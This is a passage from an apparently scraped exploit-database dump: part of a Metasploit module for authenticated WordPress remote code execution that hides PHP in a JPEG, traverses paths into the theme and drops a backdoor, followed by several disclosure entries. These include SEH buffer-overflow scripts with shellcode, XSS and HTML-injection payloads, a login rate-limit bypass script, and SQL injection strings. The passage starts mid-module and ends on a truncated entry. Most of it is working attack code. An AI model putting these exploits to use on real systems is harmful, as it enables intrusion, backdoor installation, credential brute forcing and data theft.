    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri,
      'cookie'    => cookie,
      'vars_get'  => {
        'post'   => image_id,
        'action' => "edit"
      }
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      tmp = res.get_hidden_inputs
      wpnonce2 = tmp[1].first[1]
    end
  end

  def get_current_theme
    uri = normalize_uri(datastore['TARGETURI'])
    res = send_request_cgi!(
      'method'    => 'GET',
      'uri'       => uri
    )
    fail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty?

    theme = res.body.scan(/\/wp-content\/themes\/(\w+)\//).flatten.first
    fail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme

    theme
  end

  def get_ajaxnonce(cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'query-attachments',
        'post_id' => '0',
        'query[item]' => '43',
        'query[orderby]' => 'date',
        'query[order]' => 'DESC',
        'query[posts_per_page]' => '40',
        'query[paged]' => '1'
      }
    )
    fail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty?
    a_nonce = res.body.scan(/"edit":"(\w+)"/).flatten.first
    fail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce

    a_nonce
  end

  def upload_file(img_name, wp_nonce, cookie)
    img_data = %w[
      FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F
      74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00
      10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00
      3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69
      6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D
      20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09
      08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D
      27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06
      09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
      24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24
      24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF
      C4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06
      07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01
      02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1
      15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38
      39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73
      74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4
      A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4
      D5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF
      C4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06
      07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00
      01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09
      23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37
      38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A
      73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2
      A3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2
      D3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF
      DA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B
      3F 3E
    ]
    img_data = [img_data.join].pack('H*')
    img_name += '.jpg'

    boundary = "#{rand_text_alphanumeric(rand(10) + 5)}"
    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"name\"\r\n"
    post_data << "\r\n#{img_name}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"action\"\r\n"
    post_data << "\r\nupload-attachment\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"_wpnonce\"\r\n"
    post_data << "\r\n#{wp_nonce}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{img_name}\"\r\n"
    post_data << "Content-Type: image/jpeg\r\n"
    post_data << "\r\n#{img_data}\r\n"
    post_data << "--#{boundary}--\r\n"
    print_status("Uploading payload")
    upload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php')

    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => upload_uri,
      'ctype'    => "multipart/form-data; boundary=#{boundary}",
      'data'     => post_data,
      'cookie'   => cookie
    )
    fail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty?
    print_good("Image uploaded")
    res = JSON.parse(res.body)
    image_id = res["data"]["id"]
    update_nonce = res["data"]["nonces"]["update"]
    filename = res["data"]["filename"]
    return filename, image_id, update_nonce
  end

  def image_editor(img_name, ajax_nonce, image_id, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'image-editor',
        '_ajax_nonce' => ajax_nonce,
        'postid' => image_id,
        'history' => '[{"c":{"x":0,"y":0,"w":400,"h":300}}]',
        'target' => 'all',
        'context' => '',
        'do' => 'save'
      }
    )
    fail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty?
    filename = res.body.scan(/(#{img_name}-\S+)-/).flatten.first
    fail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename

    filename << '.jpg'
  end

  def change_path(wpnonce2, image_id, filename, current_date, path, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_post'  => {
        '_wpnonce' => wpnonce2,
        'action' => 'editpost',
        'post_ID' => image_id,
        'meta_input[_wp_attached_file]' => "#{current_date}#{filename}#{path}"
      }
    )
  end

  def crop_image(image_id, ajax_nonce, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_post'  => {
        'action' => 'crop-image',
        '_ajax_nonce' => ajax_nonce,
        'id' => image_id,
        'cropDetails[x1]' => 0,
        'cropDetails[y1]' => 0,
        'cropDetails[width]' => 400,
        'cropDetails[height]' => 300,
        'cropDetails[dst_width]' => 400,
        'cropDetails[dst_height]' => 300
      }
    )
  end

  def include_theme(shell_name, cookie)
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php')
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => uri,
      'cookie' => cookie
    )
    if res && res.code == 200 && res.body && !res.body.empty?
      wpnonce2 = res.body.scan(/name="_wpnonce" value="(\w+)"/).flatten.first
      post_id = res.body.scan(/"post":{"id":(\w+),/).flatten.first
      fail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id

      post_title = Rex::Text.rand_text_alpha(10)
      uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')
      res = send_request_cgi(
        'method'   => 'POST',
        'uri'      => uri,
        'cookie' => cookie,
        'vars_post'  => {
          '_wpnonce'=> wpnonce2,
          'action' => 'editpost',
          'post_ID' => post_id,
          'post_title' => post_title,
          'post_name' => post_title,
          'meta_input[_wp_page_template]' => "cropped-#{shell_name}.jpg"
        }
      )
      fail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302
      post_id
    end
  end

  def check_for_base64(cookie, post_id)
    uri = normalize_uri(datastore['TARGETURI'])
    # Test if base64 is on target
    test_string = 'YmFzZTY0c3BvdHRlZAo='
    res = send_request_cgi!(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_get' => {
        'p' => post_id,
        '0' => "echo #{test_string} | base64 -d"
      }
    )
    fail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty?

    fail_with(Failure::NotFound, "Can't find base64 decode on target") unless res.body.include?("base64spotted")
    # Execute payload with base64 decode
    @backdoor = Rex::Text.rand_text_alpha(10)
    encoded = Rex::Text.encode_base64(payload.encoded)
    res = send_request_cgi!(
      'method'   => 'GET',
      'uri'      => uri,
      'cookie' => cookie,
      'vars_get' => {
        'p' => post_id,
        '0' => "echo #{encoded} | base64 -d > #{@backdoor}.php"
      }
    )

    fail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty?
    send_request_cgi(
      'method'  =>  'GET',
      'uri'     =>  normalize_uri(datastore['TARGETURI'], "#{@backdoor}.php"),
      'cookie'  =>  cookie
    )
  end

  def wp_cleanup(shell_name, post_id, cookie)
    print_status('Attempting to clean up files...')
    uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => uri,
      'cookie'    => cookie,
      'vars_post'  => { 'action' => "query-attachments" }
    )

    fail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty?
    infos = res.body.scan(/id":(\d+),.*filename":"cropped-#{shell_name}".*?"delete":"(\w+)".*"id":(\d+),.*filename":"cropped-x".*?"delete":"(\w+)".*"id":(\d+),.*filename":"#{shell_name}".*?"delete":"(\w+)"/).flatten
    id1, id2, id3 = infos[0], infos[2], infos[4]
    delete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5]
    for i in (0...6).step(2)
      res = send_request_cgi(
        'method'    => 'POST',
        'uri'       => uri,
        'cookie'    => cookie,
        'vars_post'  => {
            'action' => "delete-post",
            'id'     => infos[i],
            '_wpnonce' => infos[i+1]
        }
      )
    end

    uri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php')
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => uri1,
      'cookie'    => cookie
    )

    if res && res.code == 200 && res.body && !res.body.empty?
      post_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\w+)/).flatten.first
      fail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce
      uri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php')

      res = send_request_cgi(
        'method'    => 'GET',
        'uri'       => uri2,
        'cookie'    => cookie,
        'vars_get'  => {
          'post'     => post_id,
          'action'   => 'trash',
          '_wpnonce' => post_nonce
        }
      )

      fail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302
      res = send_request_cgi(
        'method'    => 'GET',
        'uri'       => uri1,
        'cookie'    => cookie,
        'vars_get'  => {
          'post_status' => "trash",
          'post_type'   => 'post',
          '_wpnonce' => post_nonce
        }
      )

      if res && res.code == 200 && res.body && !res.body.empty?
        nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\w+)/).flatten.first
        fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce

        send_request_cgi(
          'method'    => 'GET',
          'uri'       => uri2,
          'cookie'    => cookie,
          'vars_get'  => {
            'post'     => post_id,
            'action'   => 'delete',
            '_wpnonce' => nonce
          }
        )
      end
    end
  end

  def exploit
    fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?

    print_status("Authenticating with WordPress using #{username}:#{password}...")
    cookie = wordpress_login(username, password)
    fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
    print_good("Authenticated with WordPress")
    store_valid_credential(user: username, private: password, proof: cookie)

    print_status("Preparing payload...")
    @current_theme = get_current_theme
    wp_nonce = get_wpnonce(cookie)
    @current_date = Time.now.strftime("%Y/%m/")

    img_name = Rex::Text.rand_text_alpha(10)
    @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)
    ajax_nonce = get_ajaxnonce(cookie)

    @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)
    wpnonce2 = get_wpnonce2(image_id, cookie)

    change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)
    crop_image(image_id, ajax_nonce, cookie)

    @shell_name = Rex::Text.rand_text_alpha(10)
    change_path(wpnonce2, image_id, @filename1, @current_date, "?/../../../../themes/#{@current_theme}/#{@shell_name}", cookie)
    crop_image(image_id, ajax_nonce, cookie)

    print_status("Including into theme")
    post_id = include_theme(@shell_name, cookie)

    check_for_base64(cookie, post_id)
    wp_cleanup(@shell_name, post_id, cookie)
  end

  def on_new_session(client)
    client.shell_command_token("rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
    client.shell_command_token("rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*")
    client.shell_command_token("rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*")
    client.shell_command_token("rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg")
    client.shell_command_token("rm #{@backdoor}.php")
  end
end
            
# Exploit Title: Reflected HTML Injection
# Google Dork: None
# Date: 16/12/2015
# Exploit Author: Ramikan
# Vendor Homepage:https://www.salicru.com/en/
# Software Link: N/A
# Version: Tested on SaLICru -SLC-20-cube3(5).
# Firmware: cs121-SNMP v4.54.82.130611
# CVE : CVE-2019-10887
# Category:Web Apps


Vulnerability: Reflected HTML Injection
Vendor Web site: 
Version tested:cs121-SNMP v4.54.82.130611 
Solution: N/A
Note:Default credential:admin/admin or admin/cs121-snmp
Victim need to be authenticated in order to get affected by this.


Vulnerability 1:Refelected HTML Injection

Affected URL:

/DataLog.csv?log=
/AlarmLog.csv?log=
/waitlog.cgi?name=
/chart.shtml?data=
/createlog.cgi?name=

Affected Parameter: log, name, data

Payload: <h1>HTML Injection</h1>
            
# Exploit Title: CentOS Web Panel v0.9.8.793 (Free) and v0.9.8.753 (Pro) - Email Field Stored Cross-Site Scripting Vulnerability
# Google Dork: N/A
# Date: 06 - April - 2019
# Exploit Author: DKM
# Vendor Homepage: http://centos-webpanel.com
# Software Link: http://centos-webpanel.com
# Version: v0.9.8.793 (Free) and v0.9.8.753 (Pro)
# Tested on: CentOS 7
# CVE : CVE-2019-10893

# Description:
CentOS-WebPanel.com (aka CWP) CentOS Web Panel v0.9.8.793 (Free/Open Source Version) and v0.9.8.753 (Pro) is vulnerable to Stored/Persistent XSS for Admin Email fields on the "CWP Settings > "Edit Settings" screen. By changing the email ID to any XSS Payload and clicking on Save Changes, the XSS Payload will execute.

# Steps to Reproduce:
1. Login into the CentOS Web Panel using admin credential.
2. From Navigation Click on "CWP Settings then Click on "Edit Settings"
3. In "Email Address" field give simple payload as: <script>alert(1)</script> and Click Save Changes
4. Now one can see that the XSS Payload executed.
5. The application does not properly sanitize the user input even does not validation/check the user input is valid email id or not.
            
#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  River Past Cam Do 3.7.6 Local Buffer Overflow in Activation Code
# Date: 07-04-2019
# Vulnerable Software: River Past Cam Do 3.7.6
# Vendor Homepage: http://www.flexhex.com
# Version: 3.7.6
# Software Link: https://en.softonic.com/download/river-past-cam-do/windows/post-download?sl=1
# Tested Windows Windows XP SP3 EN
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open Cam Do
# 3. the application will ask you to input the activation code in order to activate it
# 4. paste contents from clipboard in the "Activation code"
# 5. select Activate
# 6. calc.exe
#

filename="evil.txt"
junk = "A" * 608
nseh = "\xeb\x09\x90\x90"
seh = "\x0e\x7d\x01\x10" ##pop pop ret rvddshow2.dll	

jmp = (
"\x58"
"\xff\xe0"
"\xe8\xf8\xff\xff\xff"
)
#msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0e\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f\xa4\xa6\xa8\xb8\xbc\xbd\xbe" BufferRegister=EAX -f c

shellcode = (
"\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56"
"\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30"
"\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42"
"\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b"
"\x4c\x5a\x48\x4b\x32\x35\x50\x33\x30\x33\x30\x55\x30\x4d\x59"
"\x4a\x45\x30\x31\x59\x50\x43\x54\x4c\x4b\x56\x30\x36\x50\x4c"
"\x4b\x50\x52\x54\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x53\x42"
"\x31\x38\x44\x4f\x38\x37\x51\x5a\x37\x56\x30\x31\x4b\x4f\x4e"
"\x4c\x47\x4c\x45\x31\x53\x4c\x35\x52\x46\x4c\x37\x50\x49\x51"
"\x58\x4f\x44\x4d\x53\x31\x59\x57\x4a\x42\x5a\x52\x51\x42\x50"
"\x57\x4c\x4b\x36\x32\x52\x30\x4c\x4b\x31\x5a\x57\x4c\x4c\x4b"
"\x30\x4c\x54\x51\x43\x48\x4d\x33\x30\x48\x45\x51\x58\x51\x46"
"\x31\x4c\x4b\x51\x49\x57\x50\x55\x51\x48\x53\x4c\x4b\x57\x39"
"\x44\x58\x4d\x33\x56\x5a\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x33"
"\x31\x58\x56\x36\x51\x4b\x4f\x4e\x4c\x49\x51\x58\x4f\x44\x4d"
"\x53\x31\x58\x47\x37\x48\x4d\x30\x32\x55\x5a\x56\x33\x33\x53"
"\x4d\x5a\x58\x37\x4b\x33\x4d\x47\x54\x33\x45\x4a\x44\x50\x58"
"\x4c\x4b\x50\x58\x56\x44\x45\x51\x38\x53\x52\x46\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x50\x58\x35\x4c\x43\x31\x49\x43\x4c\x4b"
"\x45\x54\x4c\x4b\x53\x31\x4e\x30\x4b\x39\x47\x34\x46\x44\x51"
"\x34\x31\x4b\x31\x4b\x35\x31\x50\x59\x30\x5a\x36\x31\x4b\x4f"
"\x4d\x30\x31\x4f\x51\x4f\x51\x4a\x4c\x4b\x44\x52\x4a\x4b\x4c"
"\x4d\x51\x4d\x53\x5a\x43\x31\x4c\x4d\x4c\x45\x38\x32\x35\x50"
"\x55\x50\x55\x50\x56\x30\x43\x58\x56\x51\x4c\x4b\x42\x4f\x4b"
"\x37\x4b\x4f\x58\x55\x4f\x4b\x5a\x50\x48\x35\x39\x32\x51\x46"
"\x55\x38\x39\x36\x4d\x45\x4f\x4d\x4d\x4d\x4b\x4f\x49\x45\x47"
"\x4c\x33\x36\x33\x4c\x44\x4a\x4b\x30\x4b\x4b\x4b\x50\x33\x45"
"\x33\x35\x4f\x4b\x30\x47\x54\x53\x32\x52\x42\x4f\x32\x4a\x43"
"\x30\x56\x33\x4b\x4f\x38\x55\x32\x43\x55\x31\x42\x4c\x53\x53"
"\x46\x4e\x52\x45\x33\x48\x52\x45\x33\x30\x41\x41")
buffer = junk + nseh + seh + jmp + shellcode
buffer += "C" * (5000-len(buffer))
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
            
#!/usr/bin/python -w

#
# Exploit Author: Chris Au
# Exploit Title:  AllPlayer V7.4 - Local Buffer Overflow (SEH Unicode)
# Date: 07-04-2019
# Vulnerable Software: AllPlayer V7.4
# Vendor Homepage: https://www.allplayer.org/
# Version: 7.4
# Software Link: http://allplayer.org/Download/ALLPlayerEN.exe
# Tested Windows Windows 7 SP1 x86
#
#
# PoC
# 1. generate evil.txt, copy contents to clipboard
# 2. open AllPlayer
# 3. select "Open video or audio file", click "Open URL"
# 4. paste contents from clipboard
# 5. select OK
# 6. calc.exe
#

filename="evil.txt"
header = "http://"
junk = "\xcc" * 301
nseh = "\x90\x45"
seh = "\x7a\x74" #pop pop retn
valign = (
"\x55" #push ebp
"\x45" #align
"\x58" #pop eax
"\x45" #align
"\x05\x20\x11" #add eax,11002000
"\x45" #align
"\x2d\x18\x11" #sub eax,11001900
"\x45" #align
"\x50" #push eax
"\x45" #align
"\xc3" #retn
)
#nop to shell
nop = "\xcc" * 115
shellcode = (
"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAI"
"AQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIA"
"JQYAZBABABABABkMAGB9u4JBkLK8qrM0ypyps0e9xeP1Y0RD4K"
"npnPrkPRLLbkb2N42kt2lhlOegmzkvMaYodlMl0aqlKRnLo0Uq"
"foLMzai7zBl2nrOgTKnrJptKNjoLBkpLjqahISQ8KQ8QpQRkaI"
"kpKQYCbkMyzxHcnZq9bkNTTK9q9FMaYofLVa8OLMjaI7p8GpRU"
"9flCamXxmksMo4d5JD1HrknxMTYq8Sc6RkJl0KtKnxKlkQFs4K"
"zdtKKQJ0RiQ4NDLdOkOkC1pYOjOakOyPQOqOpZ4KN2zKTMaM0j"
"kQbmu55bKP9pM0b0C8014KROQwkOIEek8pTuTbPVQXcvTU7MeM"
"iohUOLm6qlyze09k7p0u9ugKa7mCPrbOqZ9pOcYoHURCPa0l0c"
"Lnc51hOuipAA")
fill = "\x45" * 5000
buffer = header + junk + nseh + seh + valign + nop + shellcode + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
            
# Exploit Title: Shoretel Connect Multiple Vulnerability
# Google Dork: inurl:/signin.php?ret=
# Date: 14/06/2017
# Author: Ramikan
# Vendor Homepage: https://www.shoretel.com/
# Software Link: https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
# Version: Tested on 18.62.2000.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0 can be affected on other versions.
# Tested on: Mozila Firefox 53.0.3 (32 bit) Browser
# CVE :CVE-2019-9591, CVE-2019-9592, CVE-2019-9593
# Category:Web Apps


Vulnerability: Reflected XSS and Session Fixation
Vendor Web site: http://support.shoretel.com
Version tested:18.62.2000.0, Version 19.45.1602.0, 19.45.5101.0, 19.47.9000.0, 19.48.8400.0
Google dork: inurl:/signin.php?ret=
Solution: Update to 19.49.1500.0



Vulnerability 1:Refelected XSS & Form Action Hijacking

Affected URL:

/signin.php?ret=http%3A%2F%2Fdomainname.com%2F%3Fpage%3DACCOUNT&&brand=4429769&brandUrl=https://domainname.com/site/l8o5g--><script>alert(1)</script>y0gpy&page=ACCOUNT

Affected Parameter: brandUrl


Vulnerability 2: Reflected XSS

Affected URL:

/index.php/" onmouseover%3dalert(document.cookie) style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b

Affected Parameter: url
Affected Version 19.45.1602.0


Vulnerability 3: Reflected XSS

/site/?page=jtqv8"><script>alert(1)</script>bi14e

Affected Parameter: page
Affected Version:18.82.2000.0

GET /site/?page=jtqv8"><script>alert(1)</script>bi14e HTTP/1.1
Host: hostnamem
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://bdrsconference.bdrs.com/signin.php
Cookie: PHPSESSID=2229e3450f16fcfb2531e2b9d01b9fec; chkcookie=1508247199505
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Vulnerability 4: Session Hijacking

By exploiting the above XSS vulnerability, the attacker can obtain the valid session cookies of a authenticated user and hijack the session.

PHPSESSID, chkcookie both cookies are insecure.
            
#!/usr/bin/env node
const request = require("request")

/**
 * Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
 * Date: 2019-04-08
 * Exploit Author: isdampe
 * Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
 * Version: 2.7.4
 * Tested on: WordPress 5.1.1
 *
 * Description
 * -----------
 *
 *  The plugin's primary goal is to limit the rate at which an individual can attempt
 *  to authenticate with WordPress. Plugin has support for HTTP headers 
 *  X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
 *  when web servers are behind a reverse proxy service.
 *  However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
 *  allowing an attacker to easily forge either the X_FORWARDED_FOR or 
 *  X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
 *
 *  PoC
 *  ---
 */
class LoginRequest
{
	constructor(loginUri, numberOfRepititions) {
		this._loginUri = loginUri
		this._numberOfRepititions = numberOfRepititions
		this._count = 0
	}

	async process() {
		await this._sendRequest()
		if (this._count++ < this._numberOfRepititions)
			this.process()
	}

	async _sendRequest() {
		return new Promise(async (resolve, reject) => {
			console.log(`Sending request ${this._count}...`)

			request.post({
				url : this._loginUri,
				form: {
					"log": this._getRandomString(),
					"pwd": this._getRandomString(),
					"wp-submit": "Log+In",
					"redirect_to": "/wp-admin/",
					"testcookie": "1"
				},
				headers: {
					"X_FORWARDED_FOR": this._getRandomIp()
				}
			}, (err, res, body) => {
				if (err)
					console.error(err)

				if (body.indexOf("Too many failed") > -1) {
					reject("Login was rejected, exploit failed.")
					return
				}

				resolve()
				console.log(`\tRequest ${this._count} was not blocked`)
			})

		})
	}

	_getRandomString() {
		const map = "abcdefghijklmnopqrstuvwxyz0123456789"
		const length = Math.floor(Math.random() * 15) + 1
		let buffer = ""
		for (let i=0; i<length; ++i)
			buffer += Math.floor(Math.random() * map.length)

		return buffer
	}

	_getRandomIp() {
		const bits = []
		for (let x=0; x<4; ++x)
			bits.push(Math.floor(Math.random() * 254)) + 1
		return bits.join(".")
	}

}

if (process.argv.length < 4) {
	console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
	console.log("\turl:                     The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
	console.log("\tnumber_of_repititions:   The number of login attempts to create (e.g. 500)")
	process.exit(1)
}

const session = new LoginRequest(process.argv[2], process.argv[3])
session.process()
            
 # Title: Tradebox - CryptoCurrency Buy Sell and Trading
# Date: 04.04.2019
# Exploit Author: Abdullah Çelebi
# Vendor Homepage: https://www.bdtask.com
# Software Link: tradebox.bdtask.com/demo-v5.3/
# Version: 5.4
# Category: Webapps
# Tested on: WAMPP @Win
# Software description:
Tradebox – CryptoCurrency Buy Sell and Trading Software. Tradebox is for
the cryptocurrency trading and selling.even you can request for buy and
sell at a specific price. There have withdrawal and deposit option.

# Vulnerabilities:
# An attacker can access all data following an authorized user login using
the parameter.


# POC - SQLi :

# Parameter: symbol (POST)
# Request URL: http://localhost/backend/dashboard/home/monthly_deposit
#    Type : boolean-based blind
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' AND 8149=8149
AND 'PuLt'='PuLt

#    Type : time-based blind
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' OR (SELECT *
FROM (SELECT(SLEEP(5)))rBnp) AND 'wNyS'='wNyS

#    Type : error-based
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' AND (SELECT
5276 FROM(SELECT COUNT(*),CONCAT(0x7162707671,(SELECT
(ELT(5276=5276,1))),0x7171787171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CnKo'='CnKo

#    Type : generic union
csrf_test_name=53d7718e6ed975d198e33cfcad7def47&symbol=USD' UNION ALL
SELECT
NULL,CONCAT(0x7162707671,0x75664d4466634a4d505554424d6d6a577957506a51534d734c6e7551516f436f71444e77796f4a63,0x7171787171)--
Lzbq
            
# Exploit Title: ManageEngine ServiceDesk Plus - 9.3 User enumeration vulnerability
# Date: 2019-03-29
# Exploit Author: Operat0r
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/service-desk/download.html
# Version: 9.3
# Tested on: Ubuntu Linux
# CVE : CVE-2019-10273


ManageEngine ServiceDesk Plus - 9.3 User enumeration vulnerability
----------------------------------------------------------------------------------------

